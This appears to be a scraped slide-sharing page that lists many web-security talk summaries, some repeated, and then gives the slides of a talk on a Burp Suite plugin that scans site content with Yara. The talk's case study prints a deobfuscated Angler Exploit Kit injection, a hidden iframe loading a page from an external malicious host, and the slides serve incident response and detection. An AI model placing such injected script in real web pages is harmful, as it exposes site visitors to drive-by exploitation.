In this talk, we’ll walk through utilizing one of the most popular web vulnerability testing frameworks BurpSuite. During this presentation we will cover the process of how to conduct a successful web penetration tests, while utilizing BurpSuite's features and tools (Free and Pro Version). This discussion will also cover realistic examples and a brief overview of common vulnerabilities found in web applications.
Finding A Company's BreakPoint
The goal of this talk is to help educate those who are new or learning penetration testing and hacking techniques. We tend to see the same mindset applied when we speak to those new to pentesting “Scan something with Nessus to find the vulnerability, and then exploit it…Right?”. This is very far from reality when we talk about pentesting or even real world attacks. In this talk we will cover five (5) techniques that we find to be highly effective at establishing an initial foothold into the target network including: phishing, multicast protocol poisoning, SMBrelay attacks, account compromise and web application vulnerabilities.
Also watch this talk: https://www.youtube.com/watch?v=-G0v1y-Vaoo&t=1337s
BSides Lisbon 2013 - All your sites belong to BurpTiago Mendo
This talk is going to be all about Burp. I will explain why is such a great tool and how it compares with similar ones.
Its going to have a quick walkthrough of its main features, but the juicy part is going to be about how to fully explore its main tools, such as the scanner, intruder and sequencer, to increase the number and type of vulnerabilities found.
In addition, I will provide an overview of the Burp Extender Interface and how to easily and quickly take advantage of extensions to increase its awesomeness. I will show how easy is for an pentester to translate an idea to a extension and (I hope) publicly release one plugin to further help pentesters.
The talks objective is to increase your efficiency while using Burp, either by taking advantage of its excellent tools or by adding that feature that really need.
Presented at BSides Lisbon at 04/10/13 (http://bsideslisbon.org)
Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.
In this talk, we’ll walk through utilizing one of the most popular web vulnerability testing frameworks BurpSuite. During this presentation we will cover the process of how to conduct a successful web penetration tests, while utilizing BurpSuite's features and tools (Free and Pro Version). This discussion will also cover realistic examples and a brief overview of common vulnerabilities found in web applications.
Finding A Company's BreakPoint
The goal of this talk is to help educate those who are new or learning penetration testing and hacking techniques. We tend to see the same mindset applied when we speak to those new to pentesting “Scan something with Nessus to find the vulnerability, and then exploit it…Right?”. This is very far from reality when we talk about pentesting or even real world attacks. In this talk we will cover five (5) techniques that we find to be highly effective at establishing an initial foothold into the target network including: phishing, multicast protocol poisoning, SMBrelay attacks, account compromise and web application vulnerabilities.
Also watch this talk: https://www.youtube.com/watch?v=-G0v1y-Vaoo&t=1337s
BSides Lisbon 2013 - All your sites belong to BurpTiago Mendo
This talk is going to be all about Burp. I will explain why is such a great tool and how it compares with similar ones.
Its going to have a quick walkthrough of its main features, but the juicy part is going to be about how to fully explore its main tools, such as the scanner, intruder and sequencer, to increase the number and type of vulnerabilities found.
In addition, I will provide an overview of the Burp Extender Interface and how to easily and quickly take advantage of extensions to increase its awesomeness. I will show how easy is for an pentester to translate an idea to a extension and (I hope) publicly release one plugin to further help pentesters.
The talks objective is to increase your efficiency while using Burp, either by taking advantage of its excellent tools or by adding that feature that really need.
Presented at BSides Lisbon at 04/10/13 (http://bsideslisbon.org)
Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.
Hi Everyone,
This presentation is on Logical Attacks it can be helpful in Bug Bounties while doing Bug Hunting, Vulnerability Research in web applications, mobiles(andriod, ios, win), webservices, apis etc and for making a career in information security domain.
Its not an introduction to Web Application Security
A talk about some new ideas and cool/obscure things in Web Application Security.
More like “Unusual Bugs”
Getting the Most out of Burp Extensions. How to build a Burp extension, techniques for passive and active scanners, defining insertion points, modifying requests, and building GUI tools. This talk presents code libraries to make it easy for testers to rapidly customize Burp Suite.
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...bugcrowd
WATCH JASON'S TALK LIVE, 8/14 @ 11AM PDT - Register Here: http://bgcd.co/DEFCON23-haddix
Jason Haddix explores successful tactics and tools used by himself and the best bug hunters. Practical methodologies, tools and tips that make you better at hacking websites and mobile apps to claim those bounties.
Follow Jason on Twitter: http://twitter.com/jhaddix
Follow Bugcrowd on Twitter: http://twitter.com/bugcrowd
Check out the latest bug bounties on Bugcrowd: https://bugcrowd.com/programs
This is a bug bounty hunter presentation given at Nullcon 2016 by Bugcrowd's Faraz Khan.
Learn more about Bugcrowd here: https://bugcrowd.com/join-the-crowd
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)Marco Balduzzi
While input validation vulnerabilities such as XSS and SQL injection have been intensively studied, a new class of injection vulnerabilities called HTTP Parameter Pollution (HPP) has not received as much attention. HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If a web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either client-side or server-side attacks. One consequence of HPP attacks is that the attacker can potentially override existing hard-coded HTTP parameters to modify the behavior of an application, bypass input validation checkpoints, and access and possibly exploit variables that may be out of direct reach.
In the talk we present the first automated system for the detection of HPP vulnerabilities in real web applications. Our approach consists of injecting fuzzed parameters into the web application and a set of tests and heuristics to determine if the pages that are generated contain HPP vulnerabilities. We used this system to conduct a large-scale experiment by testing more than 5,000 popular websites and discovering unknown HPP flaws in many important and well-known sites such as Microsoft, Google, VMWare, Facebook, Symantec, Paypal and others. These sites have been all informed and many of them have acknowledged or fixed the problems. We will explain in details how to efficiently detect HPP bugs and how to prevent this novel class of injection vulnerabilities in future web applications.
The OWASP Zed Attack Proxy (ZAP) is one of the world’s most popular free security tools and is actively maintained by hundreds of international volunteers. It can help you automatically find security vulnerabilities in your web applications while you are developing and testing your applications
BSides CHARM 2015 Talk "InfoSec Hunters and Gatherers" - Learn how to go beyond automated tools to truly be the "Hunter" and find both bad guys and vulnerabilities.
Http Parameter Pollution, a new category of web attacksStefano Di Paola
On May 14th @ OWASP Appsec Poland 2009, Stefano Di Paola (Minded Security) and Luca Carettoni presented a new attack category called
Http Parameter Pollution (HPP).
HPP attacks can be defined as the possibility to override or add HTTP GET/POST parameters by injecting query string
delimiters.
It affects a building block of all web technologies thus server-side and client-side attacks exist.
Exploiting HPP vulnerabilities, it may be possible to:
* Override existing hardcoded HTTP parameters.
* Modify the application behaviors.
* Access and, potentially exploit, uncontrollable variables.
* Bypass input validation checkpoints and WAFs rules.
Attack Chaining: Advanced Maneuvers for Hack FuRob Ragan
Just as a good chess player thinks five moves ahead, a great penetration tester should be able to visualize their attack in order to compromise high-value targets. This presentation will explore how a penetration tester can learn to leverage attack chaining for maximum impact. A penetration test is supposed to be a simulation of a real-world attack. Real-world attackers do not use expensive automated tools or a checklist. Nor do they use a single technique or exploit to compromise a target. More commonly they combine several techniques, vulnerabilities, and exploits to create a “chained” attack that achieves a malicious goal. Chained attacks are far more complex and far more difficult to defend against. We want to explore how application vulnerabilities relate to one another and build a mind map that guides penetration testers through various attack scenarios. Prepare to be blown away on this roller coaster ride with real-world examples of massive compromises. If you are not a thrill seeker, this presentation may leave you a bit queasy.
HTTP Parameter Pollution (HPP) - SEaCURE.it presentation by Luca Carettoni and Stefano Di Paola
Throughout this presentation, we will present a new attack technique called HTTP Parameter Pollution (HPP). We will examine with a fresh perspective a newly discovered input validation flaw, while demonstrating new threats and possible attack scenarios. Such injection can be defined as the possibility to override the HTTP GET/POST parameters within the query string. In such situations, an attacker may replace existent values which are normally hardcoded and not accessible. In many cases it can be used to modify the behaviors of client-side and server-side applications, to exploit vulnerabilities in uncontrollable variables as well as bypassing web application firewalls. Some of the attacks covered in this talk have been discovered in real-world applications.
Although input validation vulnerabilities are a well-known subject in the web application security field and are extensively covered by several researchers, it is quite surprising that no formal definition of the HPP attack was previously published, as far as we know. Once again, it is a clear demonstration of how important is to develop comprehensive input validation filters in order to manage new incoming web application threats
Tomasz Fajks gives short intro about Security Tests as well as guide how to start. He goes through comparison of two security scanners Burp Suite and OWASP Zed Attack Proxy (ZAP), trying to answer "which one is better".
General Waf detection and bypassing techniques. Main focus to demonstrate that how to take right approach to analyse the behaviour of web application firewall and then create test cases to bypass the same.
Hi Everyone,
This presentation is on Logical Attacks it can be helpful in Bug Bounties while doing Bug Hunting, Vulnerability Research in web applications, mobiles(andriod, ios, win), webservices, apis etc and for making a career in information security domain.
Its not an introduction to Web Application Security
A talk about some new ideas and cool/obscure things in Web Application Security.
More like “Unusual Bugs”
Getting the Most out of Burp Extensions. How to build a Burp extension, techniques for passive and active scanners, defining insertion points, modifying requests, and building GUI tools. This talk presents code libraries to make it easy for testers to rapidly customize Burp Suite.
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...bugcrowd
WATCH JASON'S TALK LIVE, 8/14 @ 11AM PDT - Register Here: http://bgcd.co/DEFCON23-haddix
Jason Haddix explores successful tactics and tools used by himself and the best bug hunters. Practical methodologies, tools and tips that make you better at hacking websites and mobile apps to claim those bounties.
Follow Jason on Twitter: http://twitter.com/jhaddix
Follow Bugcrowd on Twitter: http://twitter.com/bugcrowd
Check out the latest bug bounties on Bugcrowd: https://bugcrowd.com/programs
This is a bug bounty hunter presentation given at Nullcon 2016 by Bugcrowd's Faraz Khan.
Learn more about Bugcrowd here: https://bugcrowd.com/join-the-crowd
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)Marco Balduzzi
While input validation vulnerabilities such as XSS and SQL injection have been intensively studied, a new class of injection vulnerabilities called HTTP Parameter Pollution (HPP) has not received as much attention. HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If a web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either client-side or server-side attacks. One consequence of HPP attacks is that the attacker can potentially override existing hard-coded HTTP parameters to modify the behavior of an application, bypass input validation checkpoints, and access and possibly exploit variables that may be out of direct reach.
In the talk we present the first automated system for the detection of HPP vulnerabilities in real web applications. Our approach consists of injecting fuzzed parameters into the web application and a set of tests and heuristics to determine if the pages that are generated contain HPP vulnerabilities. We used this system to conduct a large-scale experiment by testing more than 5,000 popular websites and discovering unknown HPP flaws in many important and well-known sites such as Microsoft, Google, VMWare, Facebook, Symantec, Paypal and others. These sites have been all informed and many of them have acknowledged or fixed the problems. We will explain in details how to efficiently detect HPP bugs and how to prevent this novel class of injection vulnerabilities in future web applications.
The OWASP Zed Attack Proxy (ZAP) is one of the world’s most popular free security tools and is actively maintained by hundreds of international volunteers. It can help you automatically find security vulnerabilities in your web applications while you are developing and testing your applications
BSides CHARM 2015 Talk "InfoSec Hunters and Gatherers" - Learn how to go beyond automated tools to truly be the "Hunter" and find both bad guys and vulnerabilities.
Http Parameter Pollution, a new category of web attacksStefano Di Paola
On May 14th @ OWASP Appsec Poland 2009, Stefano Di Paola (Minded Security) and Luca Carettoni presented a new attack category called
Http Parameter Pollution (HPP).
HPP attacks can be defined as the possibility to override or add HTTP GET/POST parameters by injecting query string
delimiters.
It affects a building block of all web technologies thus server-side and client-side attacks exist.
Exploiting HPP vulnerabilities, it may be possible to:
* Override existing hardcoded HTTP parameters.
* Modify the application behaviors.
* Access and, potentially exploit, uncontrollable variables.
* Bypass input validation checkpoints and WAFs rules.
Attack Chaining: Advanced Maneuvers for Hack FuRob Ragan
Just as a good chess player thinks five moves ahead, a great penetration tester should be able to visualize their attack in order to compromise high-value targets. This presentation will explore how a penetration tester can learn to leverage attack chaining for maximum impact. A penetration test is supposed to be a simulation of a real-world attack. Real-world attackers do not use expensive automated tools or a checklist. Nor do they use a single technique or exploit to compromise a target. More commonly they combine several techniques, vulnerabilities, and exploits to create a “chained” attack that achieves a malicious goal. Chained attacks are far more complex and far more difficult to defend against. We want to explore how application vulnerabilities relate to one another and build a mind map that guides penetration testers through various attack scenarios. Prepare to be blown away on this roller coaster ride with real-world examples of massive compromises. If you are not a thrill seeker, this presentation may leave you a bit queasy.
HTTP Parameter Pollution (HPP) - SEaCURE.it presentation by Luca Carettoni and Stefano Di Paola
Throughout this presentation, we will present a new attack technique called HTTP Parameter Pollution (HPP). We will examine with a fresh perspective a newly discovered input validation flaw, while demonstrating new threats and possible attack scenarios. Such injection can be defined as the possibility to override the HTTP GET/POST parameters within the query string. In such situations, an attacker may replace existent values which are normally hardcoded and not accessible. In many cases it can be used to modify the behaviors of client-side and server-side applications, to exploit vulnerabilities in uncontrollable variables as well as bypassing web application firewalls. Some of the attacks covered in this talk have been discovered in real-world applications.
Although input validation vulnerabilities are a well-known subject in the web application security field and are extensively covered by several researchers, it is quite surprising that no formal definition of the HPP attack was previously published, as far as we know. Once again, it is a clear demonstration of how important is to develop comprehensive input validation filters in order to manage new incoming web application threats
Tomasz Fajks gives short intro about Security Tests as well as guide how to start. He goes through comparison of two security scanners Burp Suite and OWASP Zed Attack Proxy (ZAP), trying to answer "which one is better".
General Waf detection and bypassing techniques. Main focus to demonstrate that how to take right approach to analyse the behaviour of web application firewall and then create test cases to bypass the same.
Using Proxies To Secure Applications And MoreJosh Sokol
The last Austin OWASP presentation of the year is a must see for anyone responsible for the security of a web application. It is a demonstration of the various types of proxy software and their uses. We've all heard about WebScarab, BurpSuite, RatProxy, or Paros but how familiar are you with actually using them to inspect for web security issues? Did you know that you can use RatProxy for W3C compliance validation? By the time you leave this presentation, you will be able to go back to your office and wow your co-workers with the amazing new proxy skills that you've acquired.
This presentation is about WCF and ASP.NET web services. The WCF architecture is introduced in detail and then the differences between WCF services and ASP.NET web services have been discussed.
Instant Payment Notification (IPN) is a messaging service that notifies users of events related to PayPal transactions. One can use IPN messages to automate back-office and administrative functions, such as fulfilling orders, tracking customers, and providing status and other transaction-related information.
How to Launch a Web Security Service in an HourCyren, Inc
Want to find out how to launch your very own web security service in less than an hour? We take a deep dive into the fastest growing security market, explore the limitations of existing solutions, and demonstrate how to take your Web security “to the cloud” today.
Pyscho-Strategies for Social EngineeringIshan Girdhar
We have various resources for learning social engineering like social-engineer.org, the art of deception by kevin mitnick, the art of social engineering by Christopher Hadgney etc. but then why this same old TALK? The purpose of this talk is to take you one step forward, by teaching you how exactly it could be done. I mean, how can you possibly hack computers without having the basic understanding of how operating system works, how computer protocols works? You need to know what you’re dealing with and then you go ahead and look for the security issues and vulnerabilities in them. Similar scenario is with social engineering, You need to know what you are dealing with. HUMANS. Right!. what do you know about humans other than but being one. How do they operate, how do they make decision, what all factors affects their response etc. Without understanding how humans work? Your knowledge of social engineering and toolkits will not suffice. This talk will unleash the psychological strategies to execute the structure of social engineering.
Cusomizing Burp Suite - Getting the Most out of Burp ExtensionsAugust Detlefsen
This lecture gives pentesters and security tool developers an overview of the APIs available to extend the Burp Suite intercepting proxy. Using open-source examples developed by the author I illustrate a number of key areas for anyone wishing to create extensions for Burp Suite:
- Passive scanning
- Active scanning
- Identifying insertion points
- Request modification
The presentation includes code samples and links to actual open source Burp Suite plugins developed by the author.
This will be a brief discussion on Pen Testing Web Services in 2012, though OWASP have testing guides which describes various methods and tools for performing black box and white box security testing on web services but they’re all outdated. The key points of the presentation will revolve around how to pen test web services, what are the pre-requisites, methodology, tools used, etc.
Nowadays, like the technology itself, hacking activities against mobile phone is growing very rapidly, both for mobile devices (operating system) or mobile applications, some applications providers even dedicate a penetration testing activity for applications that they created right before it gets released to the public, while others open a bug bounty programs, and sadly the rest just watch and do nothing.
On the other side, malware developer arround the world also already move their main target and has been developing malware to take over the mobile devices which surely keep all our personal/private and our work, some of it even make us to pay for getting it back.
This talks will be focusing more on the trend of mobile device security lately, mobile security penetration testing activity, also in practice, showing several types of common weaknesses/vulnerabiliies within the mobile applications and how the exploitation is done by the attacker, malware is created and planted, until it is successfully to take over the target mobile device.
How do JavaScript frameworks impact the security of applications?Ksenia Peguero
The best way to enable developers to create secure applications is to “shift left” in security. That means providing developers with the tools and techniques that help build more secure applications from the get-go. Developers may get security controls into their applications in different ways. They may write them from scratch following security training or guidance, they may use open source libraries, or they may use frameworks that have the security features built in already. In this talk we explore JavaScript applications that use different types of security controls implemented at levels ranging from developer code, to libraries and plugins, to different frameworks, and analyze which applications actually turn out to be more secure. This work is based on analysis of over 500 open source JavaScript applications on GitHub that use client-side frameworks and template engines to prevent XSS, as well as server-side frameworks (Express, Koa, Hapi, Sails, Meteor) and CSRF prevention mechanisms. In conclusion, we provide data-driven recommendations for framework maintainers and application developers on how to develop and choose a framework that will actually make applications more secure.
OWASP SF - Reviewing Modern JavaScript ApplicationsLewis Ardern
When dealing with modern JavaScript applications, many penetration testers approach from an ‘out-side-in’ perspective, this is approach often misses security issues in plain sight. This talk will attempt to demystify common JavaScript issues which should be better understood/identified during security reviews. We will discuss reviewing applications in code-centric manner by using freely available tools to help start identifying security issues through processes such as linting and dependency auditing.
Modern progressive web applications are complex pieces of software running in the browser. Fastly offers unparalleled control over the way the bytes fly from your servers to the user, enabling many of the features of advanced progressive web apps to truly shine. This talk will show how these latest web technologies can best take advantage of smarts in the network to deliver your web app at top speed.
"Finding Bad Needles on a Worldwide Scale" - presentation on our experience of developing, testing and improving cross-site scripting scanners and the methods of more accurate web application security testing. See 2015.appsec.eu for more information.
Sanoop Thomas & Samandeep Singh
Burp suite is the de-facto proxy application for web security testers. This hands-on workshop will explore the different capabilities of burp proxy application, also dive into the extensions and tooling options to perform improved application security test cases.
The workshop will start with a quick overview of burp usage, different settings, features, some commonly useful extensions and then explore deep into its extension APIs to build your own custom extensions. We will provide a suitable development environment in Java and Python platforms. This will be a hands-on workshop and participants will learn how to automate different application security test scenarios and build burp extensions with the help of templates.
The Hacking Game - Think Like a Hacker Meetup 12072023.pptxlior mazor
Stay safe, grab a drink and join us virtually for our upcoming "The Hacking Game - Think Like a Hacker" meetup to learn how hackers can compromise applications, advanced data protection methods and how to focus on fixing your most critical vulnerabilities.
An Introduction To IT Security And Privacy - Servers And MoreBlake Carver
An hour long presentation I gave for LYRASIS. It introduces many topics in security and privacy on the internet and computers and any other type of device with an ip address. IOT Internet of things, browsers, portable devices and more. In this hour I focused on servers and review the previous 3 weeks. Librarians and anyone else in a library
Heartbleed Bug Vulnerability: Discovery, Impact and SolutionCASCouncil
Join the CASC Wednesday April 30 for a Google+ hangout on the Heartbleed Bug. We’ll cover everything from what the bug does to how to tell if your site is at risk and how certificate authorities are responding.
Panel of CASC members:
• Robin Alden- Comodo
• Jeremy Rowley- DigiCert
• Bruce Morton- Entrust
• Rick Andrews- Symantec
• Wayne Thayer- Go Daddy
Watch the recording: http://bit.ly/1jAQCtk
This was presented at the March 16th, 2016 WordPress Meetup in Hamilton and describes WordPress Security and best practices that should be taken to protect any WordPress website against hackers whom target WordPress websites and impact your Google reputation and online presence.
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Albert Hoitingh
In this session I delve into the encryption technology used in Microsoft 365 and Microsoft Purview. Including the concepts of Customer Key and Double Key Encryption.
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Ramesh Iyer
In today's fast-changing business world, Companies that adapt and embrace new ideas often need help to keep up with the competition. However, fostering a culture of innovation takes much work. It takes vision, leadership and willingness to take risks in the right proportion. Sachin Dev Duggal, co-founder of Builder.ai, has perfected the art of this balance, creating a company culture where creativity and growth are nurtured at each stage.
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...DanBrown980551
Do you want to learn how to model and simulate an electrical network from scratch in under an hour?
Then welcome to this PowSyBl workshop, hosted by Rte, the French Transmission System Operator (TSO)!
During the webinar, you will discover the PowSyBl ecosystem as well as handle and study an electrical network through an interactive Python notebook.
PowSyBl is an open source project hosted by LF Energy, which offers a comprehensive set of features for electrical grid modelling and simulation. Among other advanced features, PowSyBl provides:
- A fully editable and extendable library for grid component modelling;
- Visualization tools to display your network;
- Grid simulation tools, such as power flows, security analyses (with or without remedial actions) and sensitivity analyses;
The framework is mostly written in Java, with a Python binding so that Python developers can access PowSyBl functionalities as well.
What you will learn during the webinar:
- For beginners: discover PowSyBl's functionalities through a quick general presentation and the notebook, without needing any expert coding skills;
- For advanced developers: master the skills to efficiently apply PowSyBl functionalities to your real-world scenarios.
Key Trends Shaping the Future of Infrastructure.pdfCheryl Hung
Keynote at DIGIT West Expo, Glasgow on 29 May 2024.
Cheryl Hung, ochery.com
Sr Director, Infrastructure Ecosystem, Arm.
The key trends across hardware, cloud and open-source; exploring how these areas are likely to mature and develop over the short and long-term, and then considering how organisations can position themselves to adapt and thrive.
Essentials of Automations: Optimizing FME Workflows with ParametersSafe Software
Are you looking to streamline your workflows and boost your projects’ efficiency? Do you find yourself searching for ways to add flexibility and control over your FME workflows? If so, you’re in the right place.
Join us for an insightful dive into the world of FME parameters, a critical element in optimizing workflow efficiency. This webinar marks the beginning of our three-part “Essentials of Automation” series. This first webinar is designed to equip you with the knowledge and skills to utilize parameters effectively: enhancing the flexibility, maintainability, and user control of your FME projects.
Here’s what you’ll gain:
- Essentials of FME Parameters: Understand the pivotal role of parameters, including Reader/Writer, Transformer, User, and FME Flow categories. Discover how they are the key to unlocking automation and optimization within your workflows.
- Practical Applications in FME Form: Delve into key user parameter types including choice, connections, and file URLs. Allow users to control how a workflow runs, making your workflows more reusable. Learn to import values and deliver the best user experience for your workflows while enhancing accuracy.
- Optimization Strategies in FME Flow: Explore the creation and strategic deployment of parameters in FME Flow, including the use of deployment and geometry parameters, to maximize workflow efficiency.
- Pro Tips for Success: Gain insights on parameterizing connections and leveraging new features like Conditional Visibility for clarity and simplicity.
We’ll wrap up with a glimpse into future webinars, followed by a Q&A session to address your specific questions surrounding this topic.
Don’t miss this opportunity to elevate your FME expertise and drive your projects to new heights of efficiency.
Accelerate your Kubernetes clusters with Varnish CachingThijs Feryn
A presentation about the usage and availability of Varnish on Kubernetes. This talk explores the capabilities of Varnish caching and shows how to use the Varnish Helm chart to deploy it to Kubernetes.
This presentation was delivered at K8SUG Singapore. See https://feryn.eu/presentations/accelerate-your-kubernetes-clusters-with-varnish-caching-k8sug-singapore-28-2024 for more details.
Transcript: Selling digital books in 2024: Insights from industry leaders - T...BookNet Canada
The publishing industry has been selling digital audiobooks and ebooks for over a decade and has found its groove. What’s changed? What has stayed the same? Where do we go from here? Join a group of leading sales peers from across the industry for a conversation about the lessons learned since the popularization of digital books, best practices, digital book supply chain management, and more.
Link to video recording: https://bnctechforum.ca/sessions/selling-digital-books-in-2024-insights-from-industry-leaders/
Presented by BookNet Canada on May 28, 2024, with support from the Department of Canadian Heritage.
2. Introduction
• Who am I?
• About Burpsuite and Yara
• Case study: A compromised website
• Plugin development
• Future Roadmap
• Questions
3. Who am I?
• Former USAF network defender
• Current cybersecurity consultant for Polito
• Background in penetration testing (traditional
and web application) as well as Malware
analysis
• Current duties involve malware analysis and
threat hunting
4. Burpsuite
• Burpsuite is a MITM proxy tool for viewing,
intercepting, modifying, and transmitting
HTTP(S) requests and responses.
• Allows the user to view all web content down
to the byte level, to include static pages,
JavaScript, JSON, WebSockets, and much
more.
• Includes several tools for assessing the
security of web applications
6. Yara
• Yara is a sophisticated pattern matching tool
• Specifies a language for describing strings,
binary / hexadecimal data, file offset
information, file structure information in order
to write pattern matching rules
• Rules can be run against one or many files or
data streams in order to find matches
8. Case Study
• Client contacts Polito and says that their IT
department is getting phone calls stating that
their website is causing “FireEye Alerts” and is
likely compromised
• Polito is asked to investigate and determine:
– Whether the site is actually compromised
– If so, scope, scale, and impact of the compromise
9. Case Study
• We request a tarball of the current webroot
folder and a dump of any backend CMS
databases
• In the meantime we begin spidering the
website using Burpsuite…
11. Case Study
• The obfuscated JavaScript is consistent with
the Angler Exploit Kit, which matches the
alerts reported by our client’s IT department
• After deobfuscation of the JavaScript we see
the following:
document.write('<style>.ddidfodevxgsz{position:absolute;to
p:-907px;width:300px;height:300px;}</style><div
class="ddidfodevxgsz"><iframe
src="http://ryonfmza.buildera.cf/consent/knife-lodge-
19720974" width="250" height="250"></iframe></div>');
13. Case Study
• Problems:
– How do we identify whether this EK landing page /
malicious JavaScript has been inserted into any
other pages on the site?
– How do we identify whether the attackers have
left themselves a back door?
14. Case Study
• Possible Solutions
– Wait for three days before client can get tarball of
their website uploaded to our SFTP server
– Manually search through online web content
– Write something to automate our searching
15. Writing Burpsuite Plugins
• Burpsuite supports plugins in Java, Ruby, and
Python
– Ruby requires JRuby
– Python requires Jython
• We decided to use Python to develop our Yara
integration for expedience
16. The Plugin…
• Burpsuite specifies several interfaces for
performing various tasks
• Depending on what functionality we are trying to
implement, we must implement one or more of
those interfaces
• The interfaces specify methods that must be
implemented in order to handle events from the
Burpsuite UI
17. The Plugin…
• Each of the interfaces requires specific
methods be implemented
– IBurpExtender requires a method named
registerExtenderCallbacks
– Itab requires methods named getTabCaption and
getUIComponent
• Documentation for the interfaces is available
at:
– https://portswigger.net/burp/extender/api/index.html
18. The Plugin…
• Our basic use case was as follows:
– Burpsuite user spiders a website to retrieve as
much of the content as possible
– User right-clicks on website in Burp UI and selects
“Scan with Yara”
– Yara is used to scan the content of the web
requests and responses
– Results displayed to user in a Tab
19. Jython
• Jython is a hybrid between Java and Python
• You can “import” Java classes, instantiate Java
objects, and call their methods via Python
code:
20. Jython
• Java objects are instantiated by calling a
contructor method with the same name as
the class
– No “new” keyword like in Java
– Parameters to the constructors are the same
• Once instantiated, class objects can be used
just as with Java
22. Future Roadmap
• Things that we are looking into:
– Live Yara scanning as you surf
– Persistent configuration settings
– Multiple rules files
• Your thoughts and feature requests are most
welcome!
23. Grab a Copy
• Plugin is available on our Github site:
• https://github.com/PolitoInc/Yara-Scanner
• Please send any feedback to
ian@politoinc.com